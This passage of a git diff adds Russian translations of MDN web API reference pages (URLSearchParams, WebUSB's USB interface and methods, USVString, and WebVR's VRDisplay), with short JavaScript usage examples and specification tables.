+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush: js">var paramsString = "q=URLUtils.searchParams&amp;topic=api"
+var searchParams = new URLSearchParams(paramsString);
+
+// Итерируем параметры поиска.
+for (let p of searchParams) {
+  console.log(p);
+}
+
+searchParams.has("topic") === true; // true
+searchParams.get("topic") === "api"; // true
+searchParams.getAll("topic"); // ["api"]
+searchParams.get("foo") === null; // true
+searchParams.append("topic", "webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=api&amp;topic=webdev"
+searchParams.set("topic", "More webdev");
+searchParams.toString(); // "q=URLUtils.searchParams&amp;topic=More+webdev"
+searchParams.delete("topic");
+searchParams.toString(); // "q=URLUtils.searchParams"
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментраий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('URL', '#urlsearchparams', "URLSearchParams")}}</td>
+   <td>{{Spec2('URL')}}</td>
+   <td>Исходное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+<div id="compat-mobile">{{Compat("api.URLSearchParams")}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>Other URL-related interfaces: {{domxref("URL")}}, {{domxref("URLUtils")}}.</li>
+ <li><a href="https://developers.google.com/web/updates/2016/01/urlsearchparams?hl=en">Google Developers: Easy URL manipulation with URLSearchParams</a></li>
+</ul>
+
+<dl>
+</dl>
diff --git a/files/ru/web/api/usb/getdevices/index.html b/files/ru/web/api/usb/getdevices/index.html
new file mode 100644
index 0000000000..8b69fce817
--- /dev/null
+++ b/files/ru/web/api/usb/getdevices/index.html
@@ -0,0 +1,63 @@
+---
+title: USB.getDevices()
+slug: Web/API/USB/getDevices
+tags:
+  - API
+  - Method
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+  - getDevices()
+translation_of: Web/API/USB/getDevices
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Метод<strong> <code>getDevices</code> </strong>интерфейса {{DOMxRef("USB")}} возвращает {{JSxRef("Promise")}}, который разрешается с массивом {{DOMxRef("USBDevice")}} объектов сопряжённых подключённых устройств. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice()")}}.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>USB</em>.getDevices()</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<p>Нет.</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{JSxRef("Promise")}}, который разрешается с массивом объектов {{DOMxRef("USBDevice")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>В следующем примере имена продуктов и серийные номера сопряжённых устройств выводятся в консоль. Для информации о сопряжённых устройствах, смотрите {{DOMxRef("USB.requestDevice","USB.requestDevice()")}}.</p>
+
+<pre class="brush: js notranslate">navigator.usb.getDevices()
+.then(devices =&gt; {
+  console.log("Total devices: " + devices.length);
+  devices.forEach(device =&gt; {
+    console.log("Product name: " + device.productName + ", serial number " + device.serialNumber);
+  });
+});</pre>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web USB","#dom-usb-getdevices","getDevices")}}</td>
+   <td>{{Spec2("Web USB")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB.getDevices")}}</p>
diff --git a/files/ru/web/api/usb/index.html b/files/ru/web/api/usb/index.html
new file mode 100644
index 0000000000..423ffc90da
--- /dev/null
+++ b/files/ru/web/api/usb/index.html
@@ -0,0 +1,60 @@
+---
+title: USB
+slug: Web/API/USB
+tags:
+  - API
+  - Interface
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+translation_of: Web/API/USB
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Интерфейс <strong><code>USB</code></strong> <a href="/en-US/docs/Web/API/WebUSB_API">WebUSB API</a> представляет аттрибуты и методы для поиска и подключения USB устройств из WEB страницы.</p>
+
+<h2 id="Свойтсва">Свойтсва</h2>
+
+<p>Нет.</p>
+
+<h3 id="Обработчики_событий">Обработчики событий</h3>
+
+<dl>
+ <dt>{{domxref("USB.onconnect")}}</dt>
+ <dd>Обработчик событий вызывается всегда, когда ранее сопряжённое устройство подключается.</dd>
+ <dt>{{domxref("USB.ondisconnect")}}</dt>
+ <dd>Обработчик событий вызывается всегда, когда ранее сопряжённое устройство отключается.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("USB.getDevices()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который разрешается массивов объектов {{domxref("USBDevice")}} сопряжённых устройств.</dd>
+ <dt>{{domxref("USB.requestDevice()")}}</dt>
+ <dd>Возвращает {{jsxref("Promise")}}, который разрешается экземпляром {{domxref("USBDevice")}}, если указаннное устройство найдено. Вызов этой функции запускает поток сопряжения агента пользователя.</dd>
+</dl>
+
+<h2 id="Спецификация">Спецификация</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web USB','#enumeration','USB')}}</td>
+   <td>{{Spec2('Web USB')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB")}}</p>
diff --git a/files/ru/web/api/usb/onconnect/index.html b/files/ru/web/api/usb/onconnect/index.html
new file mode 100644
index 0000000000..3a7d64e234
--- /dev/null
+++ b/files/ru/web/api/usb/onconnect/index.html
@@ -0,0 +1,43 @@
+---
+title: USB.onconnect
+slug: Web/API/USB/onconnect
+tags:
+  - API
+  - Method
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+  - onconnect
+translation_of: Web/API/USB/onconnect
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Свойство <strong><code>onconnect</code></strong> интерфейса {{DOMxRef("USB")}} является обработчиком события, который вызывается всегда, когда сопряжённое устройство подключается.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>USB</em>.onconnect = <em>connectFunction</em></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web USB","#dom-usb-onconnect","onconnect")}}</td>
+   <td>{{Spec2("Web USB")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB.onconnect")}}</p>
diff --git a/files/ru/web/api/usb/ondisconnect/index.html b/files/ru/web/api/usb/ondisconnect/index.html
new file mode 100644
index 0000000000..25dff131a0
--- /dev/null
+++ b/files/ru/web/api/usb/ondisconnect/index.html
@@ -0,0 +1,43 @@
+---
+title: USB.ondisconnect
+slug: Web/API/USB/ondisconnect
+tags:
+  - API
+  - Method
+  - Reference
+  - USB
+  - WebUSB
+  - WebUSB API
+  - ondisconnect
+translation_of: Web/API/USB/ondisconnect
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Свойство <strong><code>ondisconnect</code></strong> интерфейса {{domxref("USB")}} является обработчиком события, который вызывается всегда, когда сопряжённое устройство отключается.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">USB.ondisconnect = <em>disconnectFunction</em></pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Web USB','#dom-usb-ondisconnect','ondisconnect')}}</td>
+   <td>{{Spec2('Web USB')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.USB.ondisconnect")}}</p>
diff --git a/files/ru/web/api/usb/requestdevice/index.html b/files/ru/web/api/usb/requestdevice/index.html
new file mode 100644
index 0000000000..bb162ad242
--- /dev/null
+++ b/files/ru/web/api/usb/requestdevice/index.html
@@ -0,0 +1,82 @@
+---
+title: USB.requestDevice()
+slug: Web/API/USB/requestDevice
+tags:
+  - API
+  - USB
+  - WebUSB
+  - WebUSB API
+  - getDevices()
+  - Определение
+  - метод
+translation_of: Web/API/USB/requestDevice
+---
+<p>{{APIRef("WebUSB API")}}{{SeeCompatTable}}{{securecontext_header}}</p>
+
+<p>Метод <strong><code>requestDevice()</code></strong> интерфейса {{domxref("USB")}} возвращает {{jsxref("Promise")}}, возвращающий экземпляр {{domxref("USBDevice")}}, если необходимое устройство было найдено. Вызов этого метода начинает процесс соединения браузера с устройством.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>USB</em>.requestDevice([<em>filters</em>])</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>filters</dt>
+ <dd>Массив объектов, определяющих фильтры для устройств, к которым требуется подключиться. Каждый фильтр может содержать следующие свойства:
+ <ul>
+  <li><code>vendorId</code> - ИД производителя (USB VID)</li>
+  <li><code>productId</code> - ИД устройства USB PID</li>
+  <li><code>classCode</code> - код класса функциональности устройства</li>
+  <li><code>subclassCode</code> - код подкласса</li>
+  <li><code>protocolCode</code> - код протокола</li>
+  <li><code>serialNumber</code> - серийный номер</li>
+ </ul>
+ </dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>{{JSxRef("Promise")}}, возвращающий экземпляр {{DOMxRef("USBDevice")}}.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Этот пример запрашивает любое из перечисленных USB-устройств. Обратите внимание, указаны два разных PID. Оба присутствуют в списке фильтров для <code>requestDevice()</code>. При этом браузер покажет окно для выбора и подтверждения доступа к устройству. Только выбранное пользователем устройство будет передано в <code>then()</code>.</p>
+
+<p>Количество фильтров не определяет количество устройств, показываемых браузером. Например, если найдено только USB-устройство с product ID <code>0xa800</code>, браузер отобразит только одно устройство. Но, если браузер определит два устройства, совпадающих с первым фильтром, и еще одно, совпадающее со вторым, будут показаны все три устройства.</p>
+
+<pre class="brush: js notranslate">const filters = [
+        {vendorId: 0x1209, productId: 0xa800},
+        {vendorId: 0x1209, productId: 0xa850}
+      ];
+navigator.usb.requestDevice({filters: filters})
+.then(usbDevice =&gt; {
+  console.log("Product name: " + usbDevice.productName);
+})
+.catch(e =&gt; {
+  console.log("There is no device. " + e);
+});
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Web USB","#dom-usb-requestdevice-options-options","requestDevice")}}</td>
+   <td>{{Spec2("Web USB")}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость">Совместимость</h2>
+
+
+
+<p>{{Compat("api.USB.requestDevice")}}</p>
diff --git a/files/ru/web/api/usvstring/index.html b/files/ru/web/api/usvstring/index.html
new file mode 100644
index 0000000000..a5bf4a85ff
--- /dev/null
+++ b/files/ru/web/api/usvstring/index.html
@@ -0,0 +1,40 @@
+---
+title: USVString
+slug: Web/API/USVString
+tags:
+  - API
+  - DOM
+  - Reference
+  - String
+  - WebIDL
+translation_of: Web/API/USVString
+---
+<p>{{APIRef("DOM")}}</p>
+
+<p><strong><code>USVString</code></strong> соответствует набору всех возможных последовательностей скалярных значений Unicode. <code>USVString</code> сопоставляется с {{JSxRef("String")}} при возврате в JavaScript; обычно он используется только для API, которые выполняют обработку текста и для работы нуждаются в строке скалярных значений Unicode. USVString эквивалентна {{DOMxRef("DOMString")}} за исключением того, что не позволяет использовать непарные суррогатные кодовые точки. Непарные суррогатные кодовые точки, присутствующие в USVString, конвертируются браузером в «замещающий символ» Unicode <code>U+FFFD</code>, (�).</p>
+
+<h2 id="Specification" name="Specification">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("WebIDL", "#idl-USVString", "USVString")}}</td>
+   <td>{{Spec2("WebIDL")}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{JSxRef("String")}}</li>
+ <li>{{DOMxRef("DOMString")}}</li>
+ <li>{{DOMxRef("CSSOMString")}}</li>
+ <li><a href="/en-US/docs/Web/API/DOMString/Binary">Binary strings</a></li>
+</ul>
diff --git a/files/ru/web/api/vrdisplay/index.html b/files/ru/web/api/vrdisplay/index.html
new file mode 100644
index 0000000000..9bec0eb481
--- /dev/null
+++ b/files/ru/web/api/vrdisplay/index.html
@@ -0,0 +1,129 @@
+---
+title: VRDisplay
+slug: Web/API/VRDisplay
+tags:
+  - API
+  - DOM
+  - Experimental
+  - Interface
+  - Media
+  - NeedsTranslation
+  - Reference
+  - TopicStub
+  - VR
+  - VRDisplay
+  - Virtual Reality
+  - WebVR
+translation_of: Web/API/VRDisplay
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>The <strong><code>VRDisplay</code></strong> interface of the <a href="/en-US/docs/Web/API/WebVR_API">WebVR API</a> represents any VR device supported by this API. It includes generic information such as device IDs and descriptions, as well as methods for starting to present a VR scene, retrieving eye parameters and display capabilities, and other important functionality.</p>
+
+<p>An array of all connected VR Devices can be returned by invoking the {{domxref("Navigator.getVRDisplays()")}} method.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay.capabilities")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("VRDisplayCapabilities")}} object that indicates the various capabilities of the <code>VRDisplay</code>.</dd>
+ <dt>{{domxref("VRDisplay.depthFar")}}</dt>
+ <dd>Gets and sets the z-depth defining the far plane of the <a href="https://en.wikipedia.org/wiki/Viewing_frustum">eye view frustum</a>, i.e. the furthest viewable boundary of the scene.</dd>
+ <dt>{{domxref("VRDisplay.depthNear")}}</dt>
+ <dd>Gets and sets the z-depth defining the near plane of the <a href="https://en.wikipedia.org/wiki/Viewing_frustum">eye view frustum</a>, i.e. the nearest viewable boundary of the scene.</dd>
+ <dt>{{domxref("VRDisplay.displayId")}} {{readonlyInline}}</dt>
+ <dd>Returns an identifier for this particular VRDisplay, which is also used as an association point in the <a href="/en-US/docs/Web/API/Gamepad_API">Gamepad API</a> (see {{domxref("Gamepad.displayId")}}).</dd>
+ <dt>{{domxref("VRDisplay.displayName")}} {{readonlyInline}}</dt>
+ <dd>Returns a human-readable name to identify the <code>VRDisplay</code>.</dd>
+ <dt>{{domxref("VRDisplay.isConnected")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the <code>VRDisplay</code> is connected to the computer.</dd>
+ <dt>{{domxref("VRDisplay.isPresenting")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} indicating whether the <code>VRDisplay</code> is currently having content presented through it.</dd>
+ <dt>{{domxref("VRDisplay.stageParameters")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("VRStageParameters")}} object containing room-scale parameters, if the <code>VRDisplay</code> is capable of supporting room-scale experiences.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<dl>
+ <dt>{{domxref("VRDisplay.getEyeParameters()")}}</dt>
+ <dd>Returns the {{domxref("VREyeParameters")}} object containing the eye parameters for the specified eye.</dd>
+ <dt>{{domxref("VRDisplay.getFrameData()")}}</dt>
+ <dd>Accepts a {{domxref("VRFrameData")}} object and populates it with the information required to render the current frame.</dd>
+ <dt>{{domxref("VRDisplay.getLayers()")}}</dt>
+ <dd>Returns the layers currently being presented by the <code>VRDisplay</code>.</dd>
+ <dt>{{domxref("VRDisplay.resetPose()")}}</dt>
+ <dd>Resets the pose for this <code>VRDisplay</code>, treating its current {{domxref("VRPose.position")}} and {{domxref("VRPose.orientation")}} as the "origin/zero" values.</dd>
+ <dt>{{domxref("VRDisplay.cancelAnimationFrame()")}}</dt>
+ <dd>A special implementation of {{domxref("Window.cancelAnimationFrame")}} that allows callbacks registered with {{domxref("VRDisplay.requestAnimationFrame()")}} to be unregistered.</dd>
+ <dt>{{domxref("VRDisplay.requestAnimationFrame()")}}</dt>
+ <dd>A special implementation of {{domxref("Window.requestAnimationFrame")}} containing a callback function that will be called every time a new frame of the <code>VRDisplay</code> presentation is rendered.</dd>
+ <dt>{{domxref("VRDisplay.requestPresent()")}}</dt>
+ <dd>Starts the <code>VRDisplay</code> presenting a scene.</dd>
+ <dt>{{domxref("VRDisplay.exitPresent()")}}</dt>
+ <dd>Stops the <code>VRDisplay</code> presenting a scene.</dd>
+ <dt>{{domxref("VRDisplay.submitFrame()")}}</dt>
+ <dd>Captures the current state of the {{domxref("VRLayer")}} currently being presented and displays it on the <code>VRDisplay</code>.</dd>
+</dl>
+
+<h3 id="Deprecated_methods">Deprecated methods</h3>
+
+<dl>
+ <dt>{{domxref("VRDisplay.getPose()")}} {{deprecated_inline}}</dt>
+ <dd>Returns a {{domxref("VRPose")}} object defining the future predicted pose of the <code>VRDisplay</code> as it will be when the current frame is actually presented. <strong>This method is deprecated — instead, you should use {{domxref("VRDisplay.getFrameData()")}}, which also provides a {{domxref("VRPose")}} object.</strong></dd>
+</dl>
+
+<h3 id="Obsolete_methods">Obsolete methods</h3>
+
+<dl>
+ <dt>{{domxref("VRDisplay.getImmediatePose()")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("VRPose")}} object defining the current pose of the <code>VRDisplay</code>, with no prediction applied. This is no longer needed, and has been removed from the spec.</dd>
+ <dt>{{domxref("VRDisplay.hardwareUnitId")}} {{obsolete_inline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} defining the shared ID of the display, and any other devices that are part of that hardware set (e.g. controllers). This is no longer needed, and has been removed from the spec. Displays now use {{domxref("VRDisplay.displayId")}}, and corresponsing controllers will now return the same ID under {{domxref("Gamepad.displayId")}}.</dd>
+</dl>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">if(navigator.getVRDisplays) {
+  console.log('WebVR 1.1 supported');
+  // Then get the displays attached to the computer
+  navigator.getVRDisplays().then(function(displays) {
+    // If a display is available, use it to present the scene
+    if(displays.length &gt; 0) {
+      vrDisplay = displays[0];
+      // Now we have our VRDisplay object and can do what we want with it
+    }
+  });
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this complete code at <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">raw-webgl-example</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#interface-vrdisplay', 'VRDisplay')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplay")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplay/requestanimationframe/index.html b/files/ru/web/api/vrdisplay/requestanimationframe/index.html
new file mode 100644
index 0000000000..51d83bcea3
--- /dev/null
+++ b/files/ru/web/api/vrdisplay/requestanimationframe/index.html
@@ -0,0 +1,122 @@
+---
+title: VRDisplay.requestAnimationFrame()
+slug: Web/API/VRDisplay/requestAnimationFrame
+translation_of: Web/API/VRDisplay/requestAnimationFrame
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Метод <code><strong>requestAnimationFrame()</strong></code> интерфейса {{domxref("VRDisplay")}} является специфичной реализацией метода {{domxref("Window.requestAnimationFrame")}} и принимает в качестве аргумента функцию обратного вызова (callback-функция). Эта функция будет вызвана, когда объект типа <code>VRDisplay</code> будет готов отобразить новый кадр сцены:</p>
+
+<ul>
+ <li>Если в этот момент объект типа <code>VRDisplay</code> не находится в процессе отображения сцены, то вызов этой функции эквивалентен вызову {{domxref("Window.requestAnimationFrame")}}.</li>
+ <li>Если объект типа <code>VRDisplay</code> находится в состоянии отображения сцены, вызов callback-функции происходит с собственной частотой обновления устройства, представленного этим объектом.</li>
+</ul>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">var handle = vrDisplayInstance.requestAnimationFrame(<em>callback</em>);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>callback</dt>
+ <dd>callback-функция, которая будет вызвана когда объект типа <code>VRDisplay</code> будет готов отобразить новый кадр сцены.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>A long representing the handle of the <code>requestAnimationFrame()</code> call. This can then be passed to a {{domxref("VRDisplay.cancelAnimationFrame()")}} call to unregister the callback.</p>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">var frameData = new VRFrameData();
+var vrDisplay;
+
+navigator.getVRDisplays().then(function(displays) {
+  vrDisplay = displays[0];
+  console.log('Display found');
+  // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+  btn.addEventListener('click', function() {
+    vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+      drawVRScene();
+    });
+  });
+});
+
+// WebVR: Draw the scene for the WebVR display.
+function drawVRScene() {
+  // WebVR: Request the next frame of the animation
+  vrSceneFrame = vrDisplay.requestAnimationFrame(drawVRScene);
+
+  // Populate frameData with the data of the next frame to display
+  vrDisplay.getFrameData(frameData);
+
+  // You can get the position, orientation, etc. of the display from the current frame's pose
+  var curFramePose = frameData.pose;
+  var curPos = curFramePose.position;
+  var curOrient = curFramePose.orientation;
+
+  // Clear the canvas before we start drawing on it.
+
+  gl.clear(gl.COLOR_BUFFER_BIT | gl.DEPTH_BUFFER_BIT);
+
+  // WebVR: Create the required projection and view matrix locations needed
+  // for passing into the uniformMatrix4fv methods below
+
+  var projectionMatrixLocation = gl.getUniformLocation(shaderProgram, "projMatrix");
+  var viewMatrixLocation = gl.getUniformLocation(shaderProgram, "viewMatrix");
+
+  // WebVR: Render the left eye’s view to the left half of the canvas
+  gl.viewport(0, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.leftProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.leftViewMatrix);
+  drawGeometry();
+
+  // WebVR: Render the right eye’s view to the right half of the canvas
+  gl.viewport(canvas.width * 0.5, 0, canvas.width * 0.5, canvas.height);
+  gl.uniformMatrix4fv(projectionMatrixLocation, false, frameData.rightProjectionMatrix);
+  gl.uniformMatrix4fv(viewMatrixLocation, false, frameData.rightViewMatrix);
+  drawGeometry();
+
+  function drawGeometry() {
+    // draw the view for each eye
+  }
+
+    ...
+
+  // WebVR: Indicate that we are ready to present the rendered frame to the VR display
+  vrDisplay.submitFrame();
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this complete code at <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">raw-webgl-example</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebVR 1.1', '#dom-vrdisplay-requestanimationframe', 'requestAnimationFrame()')}}</td>
+   <td>{{Spec2('WebVR 1.1')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<p>{{Compat("api.VRDisplay.requestAnimationFrame")}}</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebVR_API">WebVR API homepage</a></li>
+ <li><a href="http://mozvr.com/">MozVr.com</a> — demos, downloads, and other resources from the Mozilla VR team.</li>
+</ul>
diff --git a/files/ru/web/api/vrdisplay/requestpresent/index.html b/files/ru/web/api/vrdisplay/requestpresent/index.html
new file mode 100644
index 0000000000..9537b94035
--- /dev/null
+++ b/files/ru/web/api/vrdisplay/requestpresent/index.html
@@ -0,0 +1,112 @@
+---
+title: VRDisplay.requestPresent()
+slug: Web/API/VRDisplay/requestPresent
+translation_of: Web/API/VRDisplay/requestPresent
+---
+<div>{{APIRef("WebVR API")}}{{SeeCompatTable}}</div>
+
+<p>Метод <code><strong>requestPresent()</strong></code> объекта реализующего интерфейс {{domxref("VRDisplay")}} отвечает за начало отображения сцены на VR устройстве, которое представлено этим объектом.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: js">vrDisplayInstance.requestPresent(<em>layers</em>).then(function() {
+  //Действия после начала отображения сцены
+});
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt>layers</dt>
+ <dd>Массив объектов типа {{domxref("VRLayerInit")}}, представляющих собой сцену, которую Вы хотите отобразить. На данный момент может быть минимум 0 элементов, максимум - 1.</dd>
+</dl>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Объект типа <a href="/ru/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a>, переходящий в состояние "выполнено" в момент начала отображения сцены. Существует ряд правил, касающийся перехода Promise в состояние "выполнено" и в состояние "отклонено":</p>
+
+<div>
+<ul>
+ <li>Если {{domxref("VRDisplayCapabilities.canPresent")}} ложно или если массив объектов VRLayer содержит более чем {{domxref("VRDisplayCapabilities.maxLayers")}} слоев, произойдёт переход в состояние "отклонено".</li>
+ <li>Если объект {{domxref("VRDisplay")}} уже отображает сцену, то вызов его метода <code>requestPresent()</code> обновит массив отображаемых <code>VRLayer</code> объектов.</li>
+ <li>Если объект <code>VRDisplay</code> уже отображает сцену, а вызов метода <code>requestPresent()</code> приведет к возврату Promise в состоянии "отклонено", то отображение сцены прекратится.</li>
+ <li>If <code>requestPresent()</code> is called outside of an engagement gesture the promise will be rejected unless the <code>VRDisplay</code> was already presenting. This engagement gesture is also sufficient to allow <code><a href="/en-US/docs/Web/API/Element/requestPointerLock">requestPointerLock()</a></code> calls until presentation has ended.</li>
+</ul>
+</div>
+
+<h2 id="Examples">Examples</h2>
+
+<pre class="brush: js">if(navigator.getVRDisplays) {
+  console.log('WebVR 1.1 supported');
+  // Then get the displays attached to the computer
+  navigator.getVRDisplays().then(function(displays) {
+    // If a display is available, use it to present the scene
+    if(displays.length &gt; 0) {
+      vrDisplay = displays[0];
+      console.log('Display found');
+      // Starting the presentation when the button is clicked: It can only be called in response to a user gesture
+      btn.addEventListener('click', function() {
+        if(btn.textContent === 'Start VR display') {
+          vrDisplay.requestPresent([{ source: canvas }]).then(function() {
+            console.log('Presenting to WebVR display');
+
+            // Set the canvas size to the size of the vrDisplay viewport
+
+            var leftEye = vrDisplay.getEyeParameters('left');
+            var rightEye = vrDisplay.getEyeParameters('right');
+
+            canvas.width = Math.max(leftEye.renderWidth, rightEye.renderWidth) * 2;
+            canvas.height = Math.max(leftEye.renderHeight, rightEye.renderHeight);
+
+            // stop the normal presentation, and start the vr presentation
+            window.cancelAnimationFrame(normalSceneFrame);
+            drawVRScene();
+
+            btn.textContent = 'Exit VR display';
+          });
+        } else {
+          vrDisplay.exitPresent();
+          console.log('Stopped presenting to WebVR display');
+
+          btn.textContent = 'Start VR display';
+
+          // Stop the VR presentation, and start the normal presentation
+          vrDisplay.cancelAnimationFrame(vrSceneFrame);
+          drawScene();
+        }
+      });
+    }
+  });
+}</pre>
+
+<div class="note">
+<p><strong>Note</strong>: You can see this complete code at <a href="https://github.com/mdn/webvr-tests/blob/master/raw-webgl-example/webgl-demo.js">raw-webgl-example</a>.</p>
+</div>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
